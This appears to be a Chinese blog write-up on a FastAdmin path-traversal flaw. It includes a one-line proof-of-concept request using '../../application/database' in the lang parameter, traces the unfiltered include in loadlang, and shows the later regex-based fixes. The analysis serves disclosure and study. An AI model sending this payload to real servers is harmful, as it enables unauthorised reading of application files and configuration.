Fastadmin
FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。
POC
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: xxx.xxx.xxx.xxx
代码分析
1.2.0.20210125_beta版本分析
定位到相关文件application\index\controller\Ajax.php
:
<?php
namespace app\index\controller;
use app\common\controller\Frontend;
use think\Lang;
/**
* Ajax异步请求接口
* @internal
*/
class Ajax extends Frontend
{
protected $noNeedLogin = ['lang', 'upload'];
protected $noNeedRight = ['*'];
protected $layout = '';
/**
* 加载语言包
*/
public function lang()
{
header('Content-Type: application/javascript');
header("Cache-Control: public");
header("Pragma: cache");
$offset = 30 * 60 * 60 * 24; // 缓存一个月
header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT");
$controllername = input("controllername");
$this->loadlang($controllername);
//强制输出JSON Object
$result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);
return $result;
}
/**
* 上传文件
*/
public function upload()
{
return action('api/common/upload');
}
}
跟进application\common\controller\Frontend.php
文件中的loadlang
方法:
protected function loadlang($name)
{
$name = Loader::parseName($name);
Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
}
可以看到对$name
没有任何过滤的处理,可构造类似../../application/database
Payload读取任意PHP文件。
已修复最新版本分析
直接定位文件application\common\controller\Frontend.php
:
protected function loadlang($name)
{
$name = Loader::parseName($name);
$lang = $this->request->langset();
$lang = preg_match("/^([a-zA-Z\-_]{2,10})\$/i", $lang) ? $lang : 'zh-cn';
Lang::load(APP_PATH . $this->request->module() . '/lang/' . $lang . '/' . str_replace('.', '/', $name) . '.php');
}
通过/^([a-zA-Z\-_]{2,10})\$/i
对路径语言进行过滤,防止通过../
跨目录读取。
彩蛋
在查看application/common/controller/Api.php
历史文件中,发现loadlang
方法的历史提交记录如下。
//V1版本
protected function loadlang($name)
{
$name = Loader::parseName($name);
Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
}
//V2版本
protected function loadlang($name)
{
$name = Loader::parseName($name);
$lang = $this->request->langset();
$lang = preg_match("/^([a-zA-Z\-_]{2,10})\$/i", $lang) ? $lang : 'zh-cn';
Lang::load(APP_PATH . $this->request->module() . '/lang/' . $lang . '/' . str_replace('.', '/', $name) . '.php');
}
//V3版本
protected function loadlang($name)
{
$name = Loader::parseName($name);
$name = preg_match("/^([a-zA-Z0-9_\.\/]+)\$/i", $name) ? $name : 'index';
$lang = $this->request->langset();
$lang = preg_match("/^([a-zA-Z\-_]{2,10})\$/i", $lang) ? $lang : 'zh-cn';
Lang::load(APP_PATH . $this->request->module() . '/lang/' . $lang . '/' . str_replace('.', '/', $name) . '.php');
}
本文首发于keye.wang,转载请注明出处。